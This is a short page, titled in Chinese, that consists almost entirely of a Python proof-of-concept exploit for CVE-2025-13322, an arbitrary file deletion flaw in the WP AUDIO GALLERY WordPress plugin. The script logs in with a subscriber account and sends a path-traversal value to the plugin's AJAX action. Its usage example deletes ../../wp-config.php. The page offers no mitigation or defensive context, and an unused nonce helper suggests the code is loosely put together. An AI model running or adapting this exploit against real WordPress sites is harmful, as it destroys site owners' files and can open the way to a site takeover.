CVE-2025-13322: WordPress WP AUDIO GALLERY插件任意文件删除漏洞

import requests import sys # CVE-2025-13322 PoC - WordPress WP AUDIO GALLERY Arbitrary File Deletion # Target: WordPress site with WP AUDIO GALLERY plugin <= 2.0 # Authentication required: Subscriber-level or higher TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker" PASSWORD = "attacker_password" def get_nonce(target_url): """Get WordPress nonce for AJAX requests""" response = requests.get(f"{target_url}/wp-admin/", timeout=10) return response.cookies.get('wordpress_test_cookie') def authenticate(target_url, username, password): """Authenticate to WordPress and get session cookies""" session = requests.Session() login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'testcookie': '1' } session.post(f"{target_url}/wp-login.php", data=login_data) return session def delete_arbitrary_file(session, target_url, file_path): """ Exploit arbitrary file deletion vulnerability file_path: Path to file to delete (can use ../ for path traversal) """ # WordPress AJAX endpoint ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Malicious payload with path traversal exploit_data = { 'action': 'wpag_uploadaudio', 'audio_upload': file_path # No sanitization - direct path passed to unlink() } response = session.post(ajax_url, data=exploit_data) return response.status_code == 200 def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-13322.py <file_to_delete>") print("Example: python cve-2025-13322.py ../../wp-config.php") sys.exit(1) file_to_delete = sys.argv[1] print(f"[*] Authenticating to {TARGET_URL}...") session = authenticate(TARGET_URL, USERNAME, PASSWORD) print(f"[*] Deleting file: {file_to_delete}") if delete_arbitrary_file(session, TARGET_URL, file_to_delete): print(f"[+] File deletion request sent successfully") else: print(f"[-] Exploitation failed") if __name__ == "__main__": main()